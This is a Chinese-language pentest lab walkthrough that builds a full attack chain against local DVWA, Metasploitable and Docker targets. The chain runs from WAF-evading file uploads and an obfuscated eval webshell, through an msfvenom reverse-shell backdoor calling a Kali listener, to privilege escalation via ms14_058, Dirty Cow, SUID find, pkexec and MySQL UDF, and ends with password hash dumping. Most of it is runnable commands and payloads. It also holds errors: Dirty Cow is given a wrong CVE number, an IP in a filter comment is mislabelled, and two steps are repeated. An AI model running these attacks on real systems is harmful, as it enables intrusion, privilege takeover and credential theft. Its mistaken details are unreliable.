一、WAF繞過文件上傳漏洞
win7:10.0.0.168
思路:要想要繞過WAF,第一步是要根據上傳的內容找出來被攔截的原因。對于文件上傳有三個可以考慮的點:文件后綴名,文件內容,文件類型。 第二步是根據找出來的攔截原因進行針對性的繞過。 ? 在整個實驗過程中,dvwa的環境為安全等級為低,只為了演示WAF的繞過方法。如果安全等級為中的話,則還需要進行文件類型的繞過(因為網站本身對文件類型有一個繞過)。 在沒有WAF的情況下,文件上傳就是上傳帶有攻擊特性的木馬文件,通過大小寫,圖片馬,雙寫,文件類型更改等方式進行繞過。
1、找出WAF攔截的原因: (1)我們先上傳一個內容為“123”的.php文件(內容正常,但是后綴是php文件),在上傳一個內容一樣的但是后綴為txt的文件,如果.php后綴被攔截了,說明WAF攔截的是文件后綴名,如果沒有被攔截,則繼續進行測試。 (2)上傳一個內容是“<?php phpinfo();?>”或者一句話木馬“<?php @eval($_POST['a']);?>”,但是后綴是正常的txt或者png;在上傳一個內容為123456的正常文件,后綴和前面保持一致要么都是txt要么都是png。來驗證是否攔截的是文件內容,如果一句話木馬被攔截,則說明攔截的是文件內容。 (3)上傳文件內容為123456,后綴為.txt的文件,通過抓包將文件的文件類型進行修改,一種文件類型為image,一種為php,看看是否會被攔截。 ? 排除攔截原因采用的方法是控制變量法,保證其他兩個內容相同,來改變其中的一個因素,從而確定WAF攔截的是什么。通過實驗,這里我們確定了安全狗攔截的是文件的文件的后綴。
2、攔截后綴的繞過
(1)通過雙寫filename=;filename="phpinfo.php"
phpinfo.php文件內容為<?php phpinfo();?>
實驗步驟:對于提交文件的網頁進行數據截取抓包--在抓到的數據包中在內容描述那里進行filename雙寫--將包放過去--完成繞過。
實驗原理是:網站是通過文件名來進行文件后綴的判斷的,當檢測到filename的時候已經有一個分號,則會停止往后面繼續進行檢查(也有一部分原因是因為WAF的檢測時間是非常有限的)。
(2)利用無用文件頭繞過
在請求正文那里加入大量的無用數據(注意要和請求頭中間空一行)(上傳phpinfo.php)。如果發現不成功的原因一定是加入的無用數據不夠多。
原理:使用大量的無用文件頭來消耗WAF的檢測時間,導致還沒有檢測到文件后綴的時候WAF已經沒有時間繼續進行往下面檢測了,只能將數據包放過去。
(3)繞過內容檢測
當直接上傳一個一句話木馬文件post.php的時候,使用雙寫filename=;進行文件后綴繞過,可以上傳成功,但是無法進行訪問,因為這個一句話木馬的攻擊特性太過于明顯了。我們需要準備一個攻擊特征不明顯的代碼,但是語義保持不變,即上傳免殺一句話木馬。
<?php
? ?$name = $_GET[1];
? ?$name = substr($name,0);
? ?eval("echo 123;" . $name."echo 456; ");
?>
原理:上面的免殺一句話木馬經過三步處理以后,“直接執行用戶的輸入”這個事情的特征變得沒有那么明顯。
操作:上傳bypass文件--上傳成功--訪問--1=phpinfo()
也可以將免傷木馬換為post方式,然后使用蟻劍進行連接--連接成功。
(4)利用00截斷繞過--解決向上上傳的問題
上傳文件,將文件名改為phpinfo.php;,jpg,也就是在文件名后面加;,jpg,將jpg改為png也可以。
操作:對于上面的頁面請求包進行攔截--點擊Hex--把3b修改成00--進行上傳--上傳成功。(一定要在十六進制下面將3b改為00才可以。)
二、Webshell網絡層面后門分析
采用Wireshark來檢測蟻劍的流量;
-
Wireshark是一款抓包工具,但是其只能對于數據包進行獲取,不能修改數據包;優點為可以抓取各種協議的數據包。
-
Burp只能抓取http協議的數據包,優點是可以對數據包進行修改。
實驗環境:phpstudy+DVWA+wireshark
1、自己搭建一個dvwa網站.
2、使用dvwa中的low等級進行文件上傳post.php,上傳成功,webshell;3、進行蟻劍連接--測試連接--連接成功--打開虛擬終端。
4、打開wireshark工具--進入后添加地址--發現流量,采用語法進行流量過濾分析:
ip.dst==10.0.0.168&&http ? --查詢目的IP是10.0.0.167并且協議為http的流量包
ip.src==10.0.0.168&&http ? --只顯示源地址是該ip的數據包
ip.addr==10.0.0.168&&http ?--只要涉及到該ip的無論是響應包還是請求包都會顯示出來
5、右擊數據包,追蹤http流,即可以發現蟻劍執行命令的流量包。
6、顏色為紅底的是請求包:%兩位十六位進制是URL編碼方式--將請求包進行url解碼,監測到蟻劍的流量包。
7、對數據包進行分析:出現runcmd,fget,exec,passthru,putenv,run shellshock等這些命令執行函數或者命令的時候說明這個數據包不安全。
三、Windows提權實戰
1、環境
win7+kali linux
kali的ip:10.0.0.162
win7的ip:10.0.0.168
2、通過文件上傳漏洞成功上傳一句話木馬--拿下webshell--使用蟻劍進行連接。
3、攻擊思路
使用msf制作后門程序--通過webshell上傳后門程序--kali開啟監聽--在windows中運行后門程序,反彈shell--kali msf拿到meterpreter權限--對目標及其進行掃描,找到提權漏洞實現提權--利用漏洞實現提權--獲取管理員的賬號密碼
(1) 使用msf制作后門程序
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.162 lport=5555 -f exe -o 5555.exe ? // lhost 需改成kali機器的IP
(-p設置payload;lhost監聽ip;lport監聽端口;-f文件類型;-o文件名)
(2) 將生成的5555.exe復制到物理機上面--利用文件上傳漏洞將其上傳(在蟻劍中右擊進行文件上傳)--上傳成功
(3) kali開啟監聽(和制作后門程序的設置保持一致)
msfconsole
use exploit/multi/handler
options
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.0.0.162
set lport 5555
exploit
(4)回到蟻劍中,打開虛擬終端,輸入5555.exe回車即為執行該文件--kali中收到反彈shell--拿到meterpreter會話--輸入getuid查看當前權限。
(5)查找可以提權的漏洞(如果查詢失敗了可以多查詢幾次)
run post/windows/gather/enum_patches 查看補丁信息
run post/multi/recon/local_exploit_suggester 查詢哪些提權exp可以用
綠色字體的即為可以利用該漏洞進行提權
輸入background --將當前會話保存在后臺
(6)漏洞利用--在監聽的命令提示符后面直接輸入
search ms14_058
use 2 ?--針對windows x64
options --這里發現只需要輸入可用的會話即可
session -l ? --展示當前的會話
set session 1
set payload windows/x64/meterpreter/reverse_tcp
exploit
成功返回meterpreter,輸入getuid發現用戶變為system權限
shell進入cmd的shell,執行whoami--發現提權成功
輸入ipconfig亂碼時輸入chcp 437.
(7)獲取管理員的密碼--輸入hashdump--將密碼進行md5解碼即可。
四、Linux提權實戰
1、Linux臟牛提權-CVE-2016-5159
漏洞原理:CVE-2016-5159,即Dirty Cow,俗稱臟牛漏洞。本質是linux內核的子系統在處理寫入時復制產生了條件競爭,惡意用戶可以利用此漏洞來獲取高權限。
臟牛提權:提權之前為msfadmin權限。
1、操作環境:Metasploitable-2
# 下載--是一個操作系統,需要將其安裝在虛擬機中。
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
--下載好文件--解壓縮--選擇.vmk后綴的文件右擊,選擇vmware打開,然后會跳轉到vmware中,選擇打開虛擬機--點擊我已經復制好虛擬機--然后虛擬機開始運行--使用賬號密碼進行登錄--即可使用。
# 賬號密碼
msfadmin/msfadmin
2、具體操作
(1)上傳提權exp dirty.c。--這個腳本的意思是將root的權限復制給要新創建的用戶firefart中。
xshell中有一個sftp功能--點擊一下子就會進入sftp功能下面,提示符為:sftp:/home/msfadmin>,這個時候就可以進行遠程文件的傳輸了--有以下命令較為常用:
pwd 是查看遠程服務器的當前目錄路徑;
lpwd 是查看本地電腦的當前目錄路徑;
cd 是切換遠程服務器的目錄;
lcd 是切換本地電腦的目錄;
ls 是查看 sftp 服務器的當前目錄的文件信息;
lls 是查看本地電腦的當前目錄的文件信息;
put 是上傳文件(從本地電腦到遠程服務器);
get 是下載文件(從遠程服務器到本地電腦);
exit/quit,退出
我們現在是要將windows里面的文件上傳至linux中:
cd ?目錄A ? 設置要將文件上傳到linux中的哪個目錄中
lcd ?目錄B ?這是要將windows中的哪個目錄中文件進行上傳(路徑要是全英文,如果有中文會爆粗)
put ?文件名 這是要下載的文件的文件名
然后回到linux中,就可以看到目錄A下面有已經上傳的文件了。
--在sftp中輸入命令:dirty.c在windows的E:\Softdown\xshell\files目錄下,將文件上傳至linux中的/home/msfadmin目錄。
cd /home/msfadmin
lcd ?E:\Softdown\xshell\files
put dirty.c
--在linux的/home/msfadmin目錄下面ls,則可以看到上傳的dirty.c.文件。
(2)使用xshell連接操作系統。
(3)使用gcc進行編譯:gcc -pthread dirty.c -o dirty -lcrypt
(4)進行提權(root是任意輸入的密碼):./dirty root(設置新建用戶的密碼是root)
(5)cat /etc/passwd發現多了一個用戶firefart.
(6)su firefart password:root ?--這是將用戶轉換為firefart,密碼為root剛才設置的。
(7)whoami --提權成功。
2、SUID提權
-
SUID是Linux的一種權限機制,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。如果擁有SUID權限,那么就可以利用系統中的二進制文件和工具來進行root提權。
-
舉個例子:vim文件具備s權限,即vim命令具備s權限,其擁有者是root;www-data用戶使用vim命令時,可以短暫獲得root權限,如果能抓住這短暫的時間執行系統命令,其實就相當于是以root用戶的權限去做執行操作。
-
SUID提權其本質是一直都是普通用戶,不過在進行某些操作的時候會短暫的擁有管理員權限。并未將當前用戶提權為root用戶。
操作環境:docker pull docker.io/citizenstig/dvwa
具體操作:
(1)在dvwa安全等級是low的時候,通過文件上傳漏洞,上傳post.php文件,然后通過蟻劍進行連接,從而webshell。
(2)進入蟻劍中的網站的虛擬終端,whoami查看當前權限www-data。
(3)在這里我們使用可以用來提權的命令中的find,ls -l /usr/bin/find,發現find并沒有SUID權限,所以這里我們首先需要將find權限修改為SUID權限:(由于是自己做實驗,所以才需要進行權限的修改,一般自己打網站的時候,這些命令的權限是已經設置好的)
進入容器:
docker exec -it f05c33cb5d49 /bin/bash
chmod u+s /usr/bin/find
ls -l /usr/bin/find ? --查看權限
(4)利用find命令提權至root權限(先ls,查看當前目錄下面的文件,這里這個post.php是我使用文件上傳漏洞上傳上去webshell的文件。)
find / -name post.php -exec "whoami" \;
3、Linux Polkit本地提權--CVE-2021-4034
原理:利用linux中的Polkit服務,允許非root用戶執行管理任務,而無需授予其root權限。Polkit服務中的pkexec存在本地權限提升漏洞,已獲得普通權限的攻擊者可以通過此漏洞獲得root權限。
操作環境:docker pull docker.io/chenaotian/cve-2021-4034
(1)由于該容器中已經集成了現成的poc,我們先生成exp
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash ? --啟動容器
docker ps ?--查看運行容器的id
docker exec -it ?ed01c36a71f2 /bin/bash ? --進入容器中
cd ~ ? --回到家目錄
ls ? ? --查看加目錄下面的文件,有一個exp
cd exp --查看exp下面的文件
cd cve-2021-4034?
./run.sh ? ?--運行run.sh腳本
cat /etc/passwd ?--有一個test用戶
su test ? ?--切換為test用戶
whoami ? ? --當前用戶是test
pwd ? ? ? ?--當前目錄是/root/exp/CVE-2021-4034
ls ? ? ? ? --該目錄下面有一個exp
(2)運行exp,進行提權
./exp ? ? ?--運行exp
whoami ?-- 提權成功
su root
五、數據庫UDF提權實戰
-
原理:UDF是Mysql的一個拓展接口,是數據庫正常的功能。可以利用UDF,通過添加命令執行函數可以執行系統命令,從而實現提權。
-
通過添加自定義函數來幫助實現提權。
操作環境:win7+phpstudy+DVWA
UDF提權條件:
1、MYSQL版本大于5.1版本(對于現在的數據庫版本來說都已經滿足)
2、網站本身存在Getshell漏洞,可以通過webshell可以將udf.dll上傳到mysql的lib\plugin目錄下
3、掌握的mysql數據庫賬號有對mysql的insert和delete權限以創建和刪除函數
4、secure-file-priv參數不為null(在本實驗中非必須條件,可以不用管它)
具體操作流程:
1、通過網站漏洞獲取webshell(通過自己搭建的dvwa網站,在low等級下,將post.php上傳上去,實現webshell),利用蟻劍連接,在虛擬終端中輸入whoami得知當前權限。(不再贅述)
2、查找數據庫賬號密碼--在dvwa的配置文件中直接讀取(通過讀取配置文件來獲取數據庫的密碼)
3、因為mysql在默認情況下是不開啟遠程連接的,所以這里我們需要先手動打開遠程連接:
在phpstudy中打開數據庫工具SQL_Front--找到sql編輯器--運行下面語句。(這里的密碼可以設置為root)
grant all privileges on *.* to "root"@"%" identified by "root";
4、使用navicat工具來連接數據庫,連接成功
5、信息搜集:
show variables like '%compile%'; ?--查詢mysql數據庫系統位數
show variables like 'plugin%'; ? ?--查看/lib/plugin的具體路徑,方便將.dll文件上傳到準去位置,查詢到位置之后將路徑進行復制--C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\
6、如何滿足UDF提權的第四個條件:
在蟻劍中--找到/phpstudy_pro/Extensions/MySQL5.7.26/my.ini--在配置文件中直接寫入secure-file-priv=--保存--phpstudy--mysql重啟生效
7、制作提權dll
(1)查找dll文件--在自己安裝的sqlmap文件夾目錄下面進行查找
sqlmap中有編碼后的dll文件,一般情況下路徑為:
sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_
sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
我自己的路徑為:E:\Softdown\SQLMAP\SQLmap\SQLmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
(2)查找cloak.py文件--同樣的在安裝了sqlmap目錄下面進行查找
根據mysql的位數來進行dll文件的查找。需要利用cloak.py進行解碼獲得mysqludf_sys.dll,cloak.py在sqlmap的sqlmap\extra\cloak\目錄下,找到cloak.py.
(3)將找到的.dll文件和cloak.py文件放在一個新建的文件夾中,在該文件夾中cmd--運行
python cloak.py -d -i lib_mysqludf_sys.dll_ ?
--會在該文件夾中生成一個dll文件.
8、將dll文件上傳到第五步通過信息搜集獲取到的路徑中。--使用蟻劍進行上傳
mysql默認安裝的時候沒有lib\plugin目錄,這里可以直接新建這兩個目錄--將第7(3)生成的那個dll文件上傳至該路徑中。
9、創建sys_eval函數(在數據庫中執行),進行提權
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
使用該函數進行提權:select sys_eval('whoami');--提權失敗。(原因以及解決辦法詳見下面的注意事項。)
8、將dll文件上傳到第五步通過信息搜集獲取到的路徑中。--使用蟻劍進行上傳
mysql默認安裝的時候沒有lib\plugin目錄,這里可以直接新建這兩個目錄--將第7(3)生成的那個dll文件上傳至該路徑中。
9、創建sys_eval函數(在數據庫中執行),進行提權
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
使用該函數進行提權:select sys_eval('whoami');--提權失敗。(原因以及解決辦法詳見下面的注意事項。)
注意:基于數據庫的提權只能提權到部署用戶的權限,如果部署用戶是普通用戶,則只能提到普通用戶的權限。在我們的上面的部署數據庫的過程中,權限一直都是普通用戶。我們安裝的win7是一個干凈的操作系統,默認沒有開啟administrator權限。
在虛擬機win7中:啟動administrator權限:cmd(以管理員身份進行運行)--
net user administrator /active:yes
net user administrator magedu ? --設置密碼
--切換用戶登錄(在電腦開始那里可以直接選擇切換用戶,切換為adminstrator)--在phpstudy進行mysql重啟--此時是以administrator權限進行mysql部署的,再次執行select sys_eval('whoami');--提權成功。